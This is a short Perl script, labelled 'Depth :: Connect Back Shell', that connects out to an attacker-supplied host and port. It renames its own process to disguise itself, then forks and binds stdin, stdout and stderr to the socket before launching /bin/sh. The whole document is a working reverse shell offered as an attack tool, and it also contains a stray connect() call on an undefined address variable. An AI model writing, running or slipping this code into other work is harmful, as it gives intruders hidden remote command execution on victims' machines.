#!/usr/bin/perl

use IO::Socket;
$0 = $ARGV[2];
my $sock = new IO::Socket::INET (PeerAddr => $ARGV[0],PeerPort => $ARGV[1],Proto => 'tcp');
connect(CLIENT,$sockaddr);

print $sock ":: Depth :: Connect Back Shell ::\n";
if(fork() == 0){
 STDIN->fdopen($sock,w);
 STDOUT->fdopen($sock,w);
 STDERR->fdopen($sock,w);
 system("/bin/sh");
 close($sock);
 exit;
}